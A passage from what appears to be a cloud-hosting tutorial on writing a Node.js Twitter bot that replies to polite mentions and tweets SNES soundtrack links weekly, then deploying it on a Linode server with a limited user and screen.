This is installed locally so that the project doesn't depend on your system-wide version of Node.js. This makes your project more portable, because other systems that you install the project on may run a different version of Node.js. - - - [node-schedule](https://www.npmjs.com/package/node-schedule): This package is used by the tutorial to schedule new Tweets periodically. - - - [dotenv](https://www.npmjs.com/package/dotenv): This package is used to read the secrets that you stored in your `.env` file. - - - [twit](https://www.npmjs.com/package/twit): This is a Twitter API client for Node.js. - - At this point, the contents of your directory should now look like the following: - - ls -a - - {{< output >}} -. .env .gitignore README.md package-lock.json -.. .git LICENSE node_modules package.json -{{< /output >}} - -### Update Scripts in package.json - -Before we can start adding our code, we should adjust a few parts of the `package.json` file in the new Node.js project. - -1. Currently, the `scripts` section of your `package.json` should look like: - - {{< file "package.json" javascript >}} - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1" - }, -{{< /file >}} - - The `scripts` section contains commands that can be used to invoke your project. For more information about this part of `package.json`, see the [`scripts` reference](https://docs.npmjs.com/cli/v7/using-npm/scripts) in the npm documentation. - - Open this file and modify the `scripts` section to look like the following snippet: - - {{< file "package.json" javascript >}} - "scripts": { - "test": "snes.js", - "start": "node ./snes.js", - "develop": "NODE_ENV=develop node snes.js" - }, -{{< /file >}} - -1. Scroll to the `main` section of the same file. This should currently look like: - - {{< file "package.json" javascript >}} - "main": "index.js", -{{< /file >}} - - Update this line so that it instead says: - - {{< file "package.json" javascript >}} - "main": "snes.js", -{{< /file >}} - -1. These changes reference an `snes.js` file that doesn’t exist yet. Create an empty placeholder file with this name in your code repository. The [`touch` command](https://en.wikipedia.org/wiki/Touch_(command)) can do this from your terminal (or you can just create the empty file with your text editor): - - touch snes.js - - {{< note respectIndent=false >}} -The `snes.js` file can be named whatever you want it to be. If you want to use a different name, just make sure that your `package.json` is updated to reference that new name. -{{< /note >}} - -## Add the Twitter Bot Application Code - -Your Node.js project is now prepared for the Twitter bot application code. Open `snes.js` in your text editor, then proceed through the next sections: - -### Reading .env Secrets, Setting Up node-schedule, and Specifying YouTube Videos - -Copy and paste this snippet into `snes.js`. After copying and pasting, **make sure to replace the `@SnesSoundtracks` string on line 3 with your own Twitter username**: - -{{< file "snes.js" javascript >}} -console.log("SNES Soundtracks booting up"); - -const twitterUsername = '@SnesSoundtracks'; - -//making sure npm run develop works -if (process.env.NODE_ENV === "develop") { - require("dotenv").config(); -}; - -//rules for node-schedule -var schedule = require("node-schedule"); -var rule = new schedule.RecurrenceRule(); -rule.dayOfWeek = 1, -rule.hour = 10; -rule.minute = 0; -rule.tz = "Etc/GMT+4"; - -//array to pull soundtracks from -var soundtrackArray = [ - "https://www.youtube.com/watch?v=85u34SUh05Y", // Legend of Zelda - "https://www.youtube.com/watch?v=85u34SUh05Y", // Chrono Trigger - "https://www.youtube.com/watch?v=UyNufyV3VCo", // Super Metroid - "https://www.youtube.com/watch?v=Y2VJeZDejtc", // Final Fantasy VI - "https://www.youtube.com/watch?v=wgUmFPnkoHU", // Super Mario World - "https://www.youtube.com/watch?v=-QsysJwzod4", // Super Street Fighter II - "https://www.youtube.com/watch?v=oRxgYC5zrV4", // Super Mario World 2: Yoshi's Island - "https://www.youtube.com/watch?v=rJJk9Zk2h_U", // Super Mario Kart - "https://www.youtube.com/watch?v=byIjMomjWkA", // Star Fox - "https://www.youtube.com/watch?v=wpchBo75N68", // Super Mario RPG: Legend of the Seven Stars - ]; -var soundtrackArrayLength = soundtrackArray.length; -{{< /file >}} - -Here's what the code does: - -- On line 1, the code logs a start up message to the console just so we know it’s running. - -- On line 7, the dotenv module is included using [the built-in Node.js `require()` function](https://nodejs.org/en/knowledge/getting-started/what-is-require/). The dotenv module's [`config()` function](https://github.com/motdotla/dotenv#config) is used on the same line to read the values from your `.env` file. The values are placed in the [`process.env` Node.js property](https://nodejs.org/dist/latest-v8.x/docs/api/process.html#process_process_env). For example, the `consumer_key` secret can be accessed inside `process.env.consumer_key` within the code. - - The `if` statement on lines 6-8 ensures this only happens when the Node.js environment is set to `develop`. This is handled by the `"develop": "NODE_ENV=develop node snes.js"` line in the `scripts` section of your package.json file. - -- On lines 11-15, we set up a few variables for the node-schedule package. These variables declare the day and time when the bot should periodically tweet. Specifically, the scheduled time is every Monday at 10 am Eastern Daylight Savings Time. A `RecurrenceRule` is created to facilitate this. - - {{< note respectIndent=false >}} -Documentation for this method of scheduling is found in the [Recurrence Rule Scheduling](https://github.com/node-schedule/node-schedule#recurrence-rule-scheduling) section of the node-schedule package's README. Creating the `RecurrenceRule` does not actually schedule the bot's tweeting function. This function is scheduled at the end of the bot's application code, in the [Scheduling Tweets](#scheduling-tweets) section. -{{< /note >}} - -- Lines 18-30 set up an array of soundtrack links for the bot to pull from at random. - -### Authenticating with Twitter and Listening for Tweets - -1. Append this snippet to the bottom of `snes.js`: - - {{< file "snes.js" javascript >}} -// ... append to bottom of file: - -// Create a Twitter client object to connect to the Twitter API -var Twit = require('twit'); - -// Pulling keys from another file -var config = require('./config.js'); -// Making a Twit object for connection to the API -var T = new Twit(config); - -// Setting up a user stream -var stream = T.stream('statuses/filter', { track: twitterUsername }); - -// Now looking for Tweet events -// See: https://dev.Twitter.com/streaming/userstreams -stream.on('tweet', pressStart); -{{< /file >}} - - We start using Twit in this section of code: - - - Line 4 includes the `twit` Twitter API client module. - - - Line 7 uses another `config.js` file to create a new configuration object. The `config.js` file is created in the next step of this section. - - - Line 9 uses [JavaScript's `new` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) to create an instance of the Twitter API client. The configuration object from line 7 is passed to the *constructor function* for the new instance. - - This instance is stored in the variable `T`. From now on, when we want to use something from the `twit` module, we simply reference the `T.propertyName` syntax. This syntax allows us to access any property, field, or method we need from the API client's library. - - - Line 12 sets up a stream that monitors for Tweet mentions of your Twitter username from other Twitter users while the code is running. - - - Line 16 creates an event listener with the `stream.on` method. The `stream.on` method accepts two arguments: - - - A string parameter that represents the type of [event](https://github.com/ttezel/twit#event-tweet) that should be listened for. - - - Another function that handles the events from the stream. The function that handles the events is called `pressStart`. The `pressStart` function is defined in the next section of this tutorial. - -1. In your code repository, make a file named `config.js` and paste this snippet into it: - - {{< file "config.js" javascript >}} -module.exports = { - consumer_key: process.env.consumer_key, - consumer_secret: process.env.consumer_secret, - access_token: process.env.access_token, - access_token_secret: process.env.access_token_secret, -}; -{{< /file >}} - - This file exports an object that matches the configuration object accepted by the constructor function in the `twit` module. Specifically, `twit` expects a configuration object with the following form, as described in [the `twit` README on GitHub](https://github.com/ttezel/twit#var-t--new-twitconfig): - - ``` - { - consumer_key: '...', - consumer_secret: '...', - access_token: '...', - access_token_secret: '...' - } - ``` - - In order to generate the configuration object, this file reads the values encoded in the `process.env` property by the dotenv module. - -### Replying to Tweets - -Append this snippet to the bottom of `snes.js`: - -{{< file "snes.js" javascript >}} -// ... append to bottom of file: - -function pressStart(tweet) { - - var id = tweet.id_str; - var text = tweet.text; - var name = tweet.user.screen_name; - - let regex = /(please)/gi; - - - let playerOne = text.match(regex) || []; - let playerTwo = playerOne.length > 0; - - //this helps with errors, so you can see if the regex matched and if playerTwo is true or false - console.log(playerOne); - console.log(playerTwo); - - - // checks text of tweet for mention of SNESSoundtracks - if (text.includes(twitterUsername) && playerTwo === true) { - - // Start a reply back to the sender - var soundtrackArrayElement = Math.floor(Math.random() * soundtrackArrayLength); - var replyText = ("@" + name + " Here's your soundtrack: " + soundtrackArray[soundtrackArrayElement]); - - // Post that tweet - T.post('statuses/update', { status: replyText, in_reply_to_status_id: id }, gameOver); - - } else { - console.log("uh-uh-uh, they didn't say the magic word."); - }; - - function gameOver(err, reply) { - if (err) { - console.log(err.message); - console.log("Game Over"); - } else { - console.log('Tweeted: ' + reply.text); - } - }; -} -{{< /file >}} - -This section of code defines a `pressStart` function that's called when another Twitter user mentions the bot. It contains a few local variables, a bit of logic, and another callback function that must be included in the `T.post` method: - -- On line 3, the `pressStart` function is defined. It takes a `tweet` object as a parameter. This represents a Tweet that another Twitter user has mentioned the bot in. The `tweet` object has tons of data attached to it, and the Twit client helps us parse through this data. - -- Lines 5-7 parse three variables from this object: the id of the Tweet, the text of the Tweet, and the username of the person who wrote the Tweet. We need those three variables in order to respond as a comment to the original Tweet. - -- Lines 9-13 define and use a [*regular expression*](https://en.wikipedia.org/wiki/Regular_expression) (abbreviated *regex*) to analyze the text of the Tweet object. This regex looks for a keyword that you want to be present in Tweet mentions. If it matches the text of the Tweet, then the bot is activated and creates a reply Tweet. The tutorial code checks for the word `please`, but you can choose another word if you prefer. As long as other Twitter users are polite and include this word, they’ll get a random soundtrack in response. - - - The `gi` characters at the end of the `/(please)/gi` regex definition represent two different options that are used when executing the expression: - - - By default, a regex only looks for the first match that it finds in the text string that it examines. The `g` option tells the regex to return all matches throughout the string. For example, if a Tweet includes the word `please` three times, then the regex in this tutorial returns all three matches. - - - The `i` option ignores capitalization. - - - The `playerOne` variable is set to an array of the regex's matches. If there are no matches, then it is set to an empty array. - - - The `playerTwo` variable is a boolean that verifies whether the array `playerOne` has anything in it. In other words, `playerTwo` is set to true if the regex matched with the Tweet text. - -- The `if` block on line 21-30 composes the reply Tweet: - - - The `if` statement requires that the Tweet text contains the bot’s name and the keyword from the regex (via the `playerTwo` boolean). - - - If both of these conditions are true, then we proceed with creating the reply Tweet. The variable `replyText` is a text string created with a random element of the soundtrack list array, the Twitter username of the person being replied to, and a short message. - - - On line 28, the [`T.post` method](https://github.com/ttezel/twit#tpostpath-params-callback) sends a POST request to [the `statuses/update` Twitter API endpoint](https://developer.twitter.com/en/docs/twitter-api/v1/tweets/post-and-engage/api-reference/post-statuses-update). - - - An object with a `status` property and an `in_reply_to_status_id` property is passed to the `T.post` method. `status` is the actual text to be posted in the reply Tweet. In our code, it is set to the `replyText` variable. `in_reply_to_status_id` specifies a unique identifier of a Tweet from Twitter’s API. This allows Twit to identify which Tweet the bot replies to as a comment. In our code, it is set to the `id` variable from the beginning of the `pressStart` function. - - - A `gameOver` callback function is also passed to the `T.post` method, and this function is defined on lines 34-41. This function prints the reply Tweet to your console, or it prints any errors that the Twitter API may have returned from the POST request. - - {{< note respectIndent=false >}} -Where the `gameOver` function is passed to `T.post`, you could use an anonymous function instead, and it would do the same thing. The tutorial code defines it separately for better readability. -{{< /note >}} - - - The `else` block on lines 30-32 is invoked if the Tweet mention doesn't say `please`. It logs [a quote from Jurassic Park](https://youtu.be/RfiQYRn7fBg) to the console, just so we can see why the bot didn't tweet back. - -### Scheduling Tweets - -Append this snippet to the bottom of `snes.js`: - -{{< file "snes.js" javascript >}} -// ... append to bottom of file: - -function pressSelect() { - var now = new Date(); - const dateOptions = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - const timeOptions = { timeZoneName: 'short' }; - const dateString = now.toLocaleDateString("en-US", dateOptions) + " at " + now.toLocaleTimeString("en-US", timeOptions); - - var soundtrackArrayElement = Math.floor(Math.random() * soundtrackArrayLength); - var weeklyText = soundtrackArray[soundtrackArrayElement] + " Here's your soundtrack for " + dateString; - T.post('statuses/update', { status: weeklyText }, gameOver2); - - function gameOver2(err, reply) { - if (err) { - console.log(err.message); - console.log("Game Over"); - } else { - console.log('Tweeted: ' + reply.text); - } - } -} - -const job1 = schedule.scheduleJob(rule, pressSelect); -{{< /file >}} - -This section of code defines a `pressSelect` function that sends new Tweets with a link to a soundtrack. It then schedules the function to be called periodically: - -- Lines 4-10 compose a `weeklyText` string, which is similar to the `replyText` variable from the `pressStart` function. The text is slightly changed to be an original Tweet, rather than a comment on a different Tweet. It also pulls an element from the same soundtrack list array. - -- On line 11, The `T.post` method is invoked with the same `statuses/update` API endpoint. There is no `in_reply_to_status_id` property passed, because the function composes an original Tweet and not a reply. - -- The `gameOver` callback function is also present on lines 13-20, but it has been renamed to `gameOver2` to avoid name conflicts. Since `gameOver` and `gameOver2` are local variables within their respective functions, there shouldn’t be any issues. But, we've changed the name just to be safe. - -- After the `pressSelect` definition, line 23 invokes [the node-schedule module's `scheduleJob` function](https://github.com/node-schedule/node-schedule#jobs-and-scheduling) and stores the result in the `job1` variable. This is the last step needed to set up periodic scheduled Tweets. This function accepts two arguments: - - - The `rule` variable created earlier in the code, which describes when the scheduled job should be run (once a week on Monday). - - - The `pressSelect` function. - -## Commit the Code and Push to GitHub - -Now that the bot code has been added to your workstation's copy of the repository, we should make a new *commit*. A commit in Git records your file changes in the version control history. After making the new commit, you can then **push** it to your repository on GitHub. - -{{< note >}} -A commit that you make locally is not automatically synced to GitHub. The push operation demonstrated in this tutorial needs to be done manually. -{{< /note >}} - -In the next two sections, this tutorial demonstrates two methods for creating a commit and pushing it to GitHub. Use the one you prefer: [Commit and Push with GitHub Desktop](#commit-and-push-with-github-desktop), or [Commit and Push with the Git Command Line](#commit-and-push-with-github-command-line). - -### Commit and Push with GitHub Desktop - -1. Open GitHub Desktop on your workstation. The new files that you created are shown under the **Changes** tab on the left, and they are automatically selected for the new commit. - - ![GitHub Desktop - Commit to main](github-desktop-commit-to-main.png "GitHub Desktop - Commit to main") - - {{< note respectIndent=false >}} -Not all of the files that are in your Node.js project, like the `node_modules` folder, or the `.env` secrets file, are shown. This is because they are excluded by the `.gitignore` file. -{{< /note >}} - -1. Below the changed files, enter a brief summary message for the new commit. For example: `Add Twitter bot application code`. - -1. Press the **Commit to main** button below the summary and description fields. This creates the new commit on the *main* branch of your repository, which is the default branch name for repositories created on GitHub. - - {{< note respectIndent=false >}} -Branches in Git allow you to work on new features for your projects without altering the files in your other branches. -{{< /note >}} - -1. After creating the commit, the **Changes** tab is empty: - - ![GitHub Desktop - after commit with push origin option highlighted](github-desktop-push-origin.png "GitHub Desktop - after commit with push origin option highlighted") - -1. Click on the **Push origin** that appears in the top navigation. This pushes the new commit to your GitHub repository. - - {{< note respectIndent=false >}} -*Origin* is how Git is referring to the remote repository on GitHub. This is a naming convention for Git. -{{< /note >}} - -1. If you visit your repository on GitHub, the new files for your Node.js project are present. - -### Commit and Push with the Git Command Line - -1. Return to your local code repository in your terminal, then run: - - git status - - The following output appears: - - {{< output >}} -On branch main -Your branch is up to date with 'origin/main'. - -Untracked files: - (use "git add ..." to include in what will be committed) - config.js - package-lock.json - package.json - snes.js -{{< /output >}} - - Your new application files are listed under the `Untracked files` line, which means that they don't exist yet in Git's version history. - - {{< note respectIndent=false >}} -Not all of the files that are in your Node.js project, like the `node_modules` folder, or the `.env` secrets file, are shown. This is because they are excluded by the `.gitignore` file. -{{< /note >}} - -1. Before you can commit the files, you need to *stage* them. Staging tells Git that you want to include the files in the next commit that you make. To stage your files, run: - - git add . - - {{< note respectIndent=false >}} -The period at the end of this command tells git to add all the files in your current directory to the stage. -{{< /note >}} - -1. Then run the `status` command again: - - git status - - The output now appears as: - - {{< output >}} -On branch main -Your branch is up to date with 'origin/main'. - -Changes to be committed: - (use "git restore --staged ..." to unstage) - new file: config.js - new file: package-lock.json - new file: package.json - new file: snes.js -{{< /output >}} - - The output above mentions that you are on the `main` branch, which is the default branch name for repositories created on GitHub. - - {{< note respectIndent=false >}} -Branches in Git allow you to work on new features for your projects without altering the files in your other branches. -{{< /note >}} - -1. Git now knows to include the new files in your next commit. To make the commit, run: - - git commit -m "Add Twitter bot application code" - - This output appears: - - {{< output >}} -[main e5d6839] Add Twitter bot application code - 4 files changed, 599 insertions(+) - create mode 100644 config.js - create mode 100644 package-lock.json - create mode 100644 package.json - create mode 100644 snes.js - {{< /output >}} - - 1. Next, push the new commit to your repository on GitHub: - - git push origin main - - {{< note respectIndent=false >}} -*Origin* is how Git is referring to the remote repository on GitHub. This is a naming convention for Git. -{{< /note >}} - - This output appears: - - {{< output >}} -Enumerating objects: 7, done. -Counting objects: 100% (7/7), done. -Delta compression using up to 12 threads -Compressing objects: 100% (6/6), done. -Writing objects: 100% (6/6), 7.57 KiB | 1.08 MiB/s, done. -Total 6 (delta 0), reused 0 (delta 0) -To https://github.com/your-github-username/snes-soundtracks.git - 735ecd1..e5d6839 main -> main -{{< /output >}} - -1. If you visit your repository on GitHub, the new files for your Node.js project are present. - -## Run the Code - -To test your code for the first time and ensure it works, type `npm run develop` into the terminal: - - npm run develop - -If successful, the following output appears: - -{{< output >}} -> snes-soundtracks@1.0.0 develop -> NODE_ENV=develop node snes.js - -SNES Soundtracks booting up -{{< /output >}} - -If any errors appear, they are likely related to an authentication failure with the Twitter API. If this happens, then your `.env` file might have syntax errors, or your secret keys may have been incorrectly pasted into it. Review the [Troubleshooting `consumer_key` Twit Config Error](#troubleshooting-consumer_key-twit-config-error) and [Troubleshooting Twitter Error 401 Unauthorized](#troubleshooting-twitter-error-401-unauthorized) sections for solutions. - -### Test the Tweet Function - -At this point, the bot is running, and if you wait long enough, then it should send a scheduled Tweet. We can also test `pressSelect` on its own and make sure the tweeting function works, To do this, you need to modify the code slightly. - -1. Comment out the last line of the code in `snes.js` and call `pressSelect` directly: - - {{< file "snes.js" javascript >}} -// ... modify end of file as follows: - -// const job1 = schedule.scheduleJob(rule, pressSelect); - -pressSelect(); -{{< /file >}} - - By doing this, the tweeting function runs immediately, and you don’t have to wait until the next scheduled Tweet. - -1. Type `CTRL-c` to interrupt and stop the bot. Then run the code again: - - npm run develop - - If successful, output like the following output appears: - - {{< output >}} -> snes-soundtracks@1.0.0 develop -> NODE_ENV=develop node snes.js - -SNES Soundtracks booting up -Tweeted: https://t.co/Y2AOzzkUm0 Here's your soundtrack for Tuesday, June 1, 2021 at 10:59:19 AM UTC -{{< /output >}} - - {{< note respectIndent=false >}} -Note that Twitter has automatically shortened the link to the soundtrack in the Tweet. -{{< /note >}} - - If you don't see the above output, you might instead see this error: `Read-only application cannot POST.`. If so, then your app's permissions are set to Read Only in the Twitter developer portal. Revisit the earlier [Give your Twitter App Read and Write Permissions](#give-your-twitter-app-read-and-write-permissions) section and then return to this section. - -### Test Tweet Replies - -Lastly, you can test the way the bot responds to other users: - -1. Undo the code changes you made in the [Test the Tweet Function](#test-the-tweet-function) section: remove the `pressSelect();` line that was added, uncomment the last line, and save the file. - -1. Type `CTRL-c` to interrupt and stop the bot. Then run the code again: - - npm run develop - -1. Log in to another Twitter account and tweet at your bot, including the keyword (`please`). You should be able to see some action in the terminal that tells you it’s working, followed by the response on Twitter. - -## Host the Code - -You could certainly let this code run for a long while from your local machine, but it’s better if you host it somewhere else. This section shows how to create a compute instance on Linode, install the bot on it, and then run it. - -### Create a Linode - -1. Visit the [Linode Cloud Manager](https://cloud.linode.com). If you haven't created any Linodes before, the home page looks like this: - - ![Linode home screen](https://lh3.googleusercontent.com/JFNpdFMCe9A37beAwtxazN-zqcSr88Ff457bnQhbQpkQJILfqAv7g0bR_CQ6SxMu8EfKgIcaqTGuZvPTTI2hOb6dYyi3CyLMubEKOwFEZMkCaByjpk83L2o0c4W8GTwE4VPSodE-) - -1. Follow the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide. When creating your instance, use the following options: - - - Pick Ubuntu 20.04 as your Linux distribution. - - - Select the region closest to you. - - - Choose Nanode (the smallest option) as your Linode plan. It’s only $5 a month and has more than enough space and RAM for your Twitter bot and any other projects you’d want on it. - - - Pick a long, unique, and complex root user password. The root user for your server can take any administrative action on the system. Using a strong root password is important to prevent malicious attackers from accessing your system. - - - When it asks for a Linode label, name it after your project. - -1. After you create the Linode, it takes a few moments to boot up. Once it boots up it’s time to get inside and clean up a bit. - -### Log In and Secure the Server - -1. To log into the server, follow the [Connect to Your Linode via SSH](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance) section of our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide. If you do not have access to an SSH client, or if SSH connections are firewalled on your local network, you can also opt to use [the Lish console](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) from the Cloud Manager in your web browser. To do so, follow the [Use a Web Browser](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish#through-cloud-manager-weblish) instructions in our Lish guide. - - {{< note respectIndent=false >}} -Our [Connecting to a Remote Server Over SSH](/cloud/guides/connect-to-server-over-ssh/) guide series has a few other options for SSH clients, like SSH extension for the Chrome web browser. -{{< /note >}} - - When logging in for the first time, you use the `root` username and the root password that you set when creating the Linode. However, it's important to create a non-root-user with limited permissions to run your programs from. - - {{< note type="alert" respectIndent=false >}} -If you were to run your programs as root, and if they were to be compromised by someone malicious, then the rest of your server could be compromised. If your server isn't running anything else, then it may not be important to you. However, an attacker could install malicious programs that target other people's servers, like a botnet script that sends denial-of-service attacks. -{{< /note >}} - -1. To create a non-root-user, follow the [Add a Limited User Account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account) section of our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. This guide assumes that the name of the new user is `tutorialbotuser`, but you can name it whatever you'd like. The instructions in this section also show how to give your user `sudo` privileges, so it is still able to perform software updates and other administrative tasks. - - {{< note respectIndent=false >}} -Here's a video that also shows how to create a limited user: [Tech Republic: How to create a new user with admin privileges](https://youtu.be/fDHHKR0nVQg). -{{< /note >}} - -1. After you have created the limited user, log out of your current SSH (or Lish) session by running the `exit` command. Then, log back in as the new user. - - {{< note respectIndent=false >}} -The rest of the steps in the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide are optional for this tutorial, but they are still recommended if you intend to leave your server running. -{{< /note >}} - -### Perform Software Updates and Prepare for the Bot - -1. Once you’re logged in with your limited user, you should run `sudo apt update` to check for updates available, and then `sudo apt dist-upgrade.` - -1. Node.js and NPM are not preinstalled on Ubuntu 20.04, so you need to install those in order to run the bot. As on your workstation, the recommended way is to use nvm: - - 1. On the Linode, run the nvm installer: - - wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash - - 1. Log out of the Linode and then log back in again. This is needed to start using the nvm command. - - 1. Install the latest Node.js and npm via nvm: - - nvm install --lts - -The server is now ready to run the bot, but you still need to upload the bot's code to the server. We present two ways to do this: - -- **Filezilla**: You can transfer your code to the Linux instance from your workstation, via the [Filezilla](/cloud/guides/filezilla/) GUI desktop application. Because you're using a desktop application, this can be a little more user-friendly for beginners. Follow the [Upload the Bot Using Filezilla](#upload-the-bot-using-filezilla) section to do this. - -- **git clone**: You can directly clone your repository on GitHub to your Linode with the Git command line tool. Follow the [Upload the Bot with Git Clone](#upload-the-bot-with-git-clone) section to do this. - -### Upload the Bot Using Filezilla - -1. Install the Filezilla client by downloading the installer for your workstation from their [downloads page](https://filezilla-project.org/download.php). - -1. Here's how Filezilla looks once you open it: - - ![The opening screen of Filezilla](https://lh5.googleusercontent.com/Wl8STNGN-_2A-4jBHrTZS0evnCwnt_Ts_vuSqFl9NTfzhG2pGHpZb9rvjpcL80QXLZ1NeKz5xzE2XzepPWU6LXZ2-VVnbeYpJ7GvXyP6xfoSgiT3EROD2Wogm3NEcWfheHnYDAop) - -1. Inside Filezilla, you can see input fields for **Host**, **Username**, **Password**, and **Port**. Set values for these fields as follows: - - | Field | Value | - |-------|-------| - | Host | The IP Address for your Linode. Use the [Find your Linode's IP Address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance) guide to locate your IP address in the Cloud Manager. | - | Username | This should be the name for the limited non-root-user you created. | - | Password | The password for the limited non-root-user you created. | - | Port | This should be set to 22. | - -1. Upon connecting, you’ll get a message saying the key is unknown. This is normal, but you should double-check that the IP address is correct. If it is, check the box to remember your Linode in Filezilla. - -1. The left half of the Filezilla window shows your local files, and the right half of the window shows your Linode's files. On the left side, go to the directory where you’re keeping the files for your Twitter bot. You’ll need the `.env` file, `config.js` file, `package.json` file, `package-lock.json` file, `node_modules` folder, and `snes.js` application code file for your bot. The files we're moving over are highlighted in the following picture. - - ![An image of the file directory containing the files for a twitter bot. .env, config.js, snes.js, and package.json are highlighted](https://lh4.googleusercontent.com/LiCT5nHxonGW71MJ2tbk_FScrHkkhIPuyBDLq74jxtfeW5YE9yGk-dBlAvlSvQaeBC5NPpiWv-VyV4YCFbrQEZHRcHatviZSuplcSOwfHj84yRMNmZXwc96OlCXK_B9MSqtFkgp7) - -1. By default, the right side of the FileZilla window shows the files in the home directory of your Linode's user. This is also where we want to install the bot. Once you highlight the files you want to transfer on the left side, click and drag them to the right. - -After finishing the file transfer, proceed to the [run the bot](#run-the-bot-on-your-linode) section. - -### Upload the Bot with Git Clone - -1. Git is preinstalled on Ubuntu 20.04, but you still need to configure it like you did on your workstation. While inside your SSH or Lish connection to your Linode, follow the [Configure Git](/cloud/guides/how-to-configure-git/#configure-git) section of our [Getting Started with Git](/cloud/guides/how-to-configure-git/) guide. When doing this, you don't need to set the `core.editor` option, but it is important to set your username and email for Git. - -1. To clone your GitHub repository to your Linode, run the `git clone` command from your SSH or Lish connection. Be sure to substitute your own GitHub username in for `your-github-username` and the name you chose for the repository for `snes-soundtracks` before running the command: - - git clone https://github.com/your-github-username/snes-soundtracks.git - - {{< note respectIndent=false >}} -If you previously created a private GitHub repository, then the above command prompts for your password. You should enter the *personal access token* (and not your normal GitHub password) that you created when setting up [command line authentication for GitHub](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github#authenticating-with-the-command-line) earlier. -{{< /note >}} - -1. Cloning the repository does not install the NPM dependencies for your project. This is because they were contained in the `node_modules` folder of your project, which was excluded from version control in your `.gitignore` file. The required dependencies are still outlined in your `package.json`, which we can use to reinstall them on your Linode. Navigate to the new cloned repository and then install them: - - cd snes-soundtracks - npm install - - The `npm install` command looks at your package.json and installs every dependency that it finds into the `node_modules` folder. - -1. The `.env` file was also excluded from version control, so it needs to be copied to your Linode separately. On your workstation, open your local `.env` and copy its contents to your clipboard. Then inside the code repository on the Linode, create a new `.env` file. You can use [the `nano` command line text editor](/cloud/guides/use-nano-to-edit-files-in-linux/) to do this: - - nano .env - - The `nano` editor's interface looks like this when first opened: - - ![nano text editor interface](nano-empty-env-file.png "nano text editor interface") - -1. Paste the contents of your clipboard into the editor. - -1. Type `CTRL-o` to save the file, and hit `Enter` when the editor prompts you to confirm the `.env` filename. - -1. Type `CTRL-x` to exit the editor. - -1. Remove file system read and write [file permissions](/cloud/guides/modify-file-permissions-with-chmod/) for groups and other users on the Linode for the `.env` file: - - chmod go-rw .env - - Doing this ensures that your secret keys can't be read by other users on the system. - -After cloning the repository and installing the dependencies, proceed to the [run the bot](#run-the-bot-on-your-linode) section. - -### Run the Bot on your Linode - -Once you’ve transferred the files, you can use your SSH connection or Lish console to run the bot in the same way as on your workstation: - - npm run develop - -However, the bot does not stay running if you close your SSH connection (for example, if you put your workstation to sleep), or if you need to perform some other action in the Lish console. - -To keep your bot running uninterrupted, you can start a Screen session. [Screen](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/) is a useful tool for creating terminal sessions that stay alive and that can be accessed from any SSH or Lish connection. It's also preinstalled on Ubuntu 20.04, so you can start using it immediately: - -1. If you ran `npm run develop` on your Linode, type `CTRL-c` to stop the bot. - -1. From your Linode, run: - - screen - -1. This creates a new Screen session. A welcome message for the new session is presented. Close this message by hitting `Enter` on your keyboard. - -1. You are now in your Screen session. Run the bot again: - - npm run develop - -1. Then, *detach* from the Screen session by typing `CTRL-a`, followed by the `d` key. This brings you back to your previous terminal history. After detaching, a message like this appears: - - {{< output >}} -[detached from 38905.pts-0.localhost] -{{< /output >}} - -1. Your bot continues to run, and it runs even if you close your SSH or Lish connection. You can later return to your bot from the same SSH or Lish connection, or from a new connection. This command *reattaches* to your screen session: - - screen -r - -1. If you want to halt your bot, reattach to the screen session, then type `CTRL-c`. - -## Troubleshooting - -### Troubleshooting `consumer_key` Twit Config Error - -When starting the bot, you may see an error like this: - -{{< output >}} -> snes-soundtracks@1.0.0 develop -> NODE_ENV=develop node snes.js - -SNES Soundtracks booting up -/home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/twitter.js:511 - throw new Error(err_msg) - ^ - -Error: Twit config must include `consumer_key` when using user auth. - at /home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/twitter.js:511:13 - at Array.forEach () - at Twitter._validateConfigOrThrow (/home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/twitter.js:508:17) - at new Twitter (/home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/twitter.js:58:8) - at Object. (/home/tutorialbotuser/snes-soundtracks/snes.js:26:9) - at Module._compile (node:internal/modules/cjs/loader:1109:14) - at Object.Module._extensions..js (node:internal/modules/cjs/loader:1138:10) - at Module.load (node:internal/modules/cjs/loader:989:32) - at Function.Module._load (node:internal/modules/cjs/loader:829:14) - at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:76:12) - at node:internal/main/run_main_module:17:47 -{{< /output >}} - -This Twit error about your `consumer_key` means there may be a syntax error in your `.env` file. In your `.env`, ensure there are no spaces between the variable, equals sign, and key itself in your .env file. As an example, here's what your `.env` might look like when correctly formatted (your keys are different): - -{{< file ".env" >}} -consumer_key=rA8yWhr4ZnuWoKGDmmdbhF4Su -consumer_secret=BVMRjkQRTzlkBRC8qVZQKkWsEIEzPE9XAV1egY2D86yrQqadXH -access_token=1399573085406306304-PkDdzGOQu6ikxbwbhpmsLoP4W87jaE -access_token_secret=gf6ohLUT06RqcvfB4H6qQRZstcc6UgkouszIiLxHLGtGj -{{< /file >}} - -If the error persists after correcting any syntax issues, you may have copied your keys incorrectly. Review the [Troubleshooting Twitter Error 401 Unauthorized](#troubleshooting-twitter-error-401-unauthorized) section for further guidance. - -### Troubleshooting Twitter Error 401 Unauthorized - -When starting the bot, you may see an error like this: - -{{< output >}} -> snes-soundtracks@1.0.0 develop -> 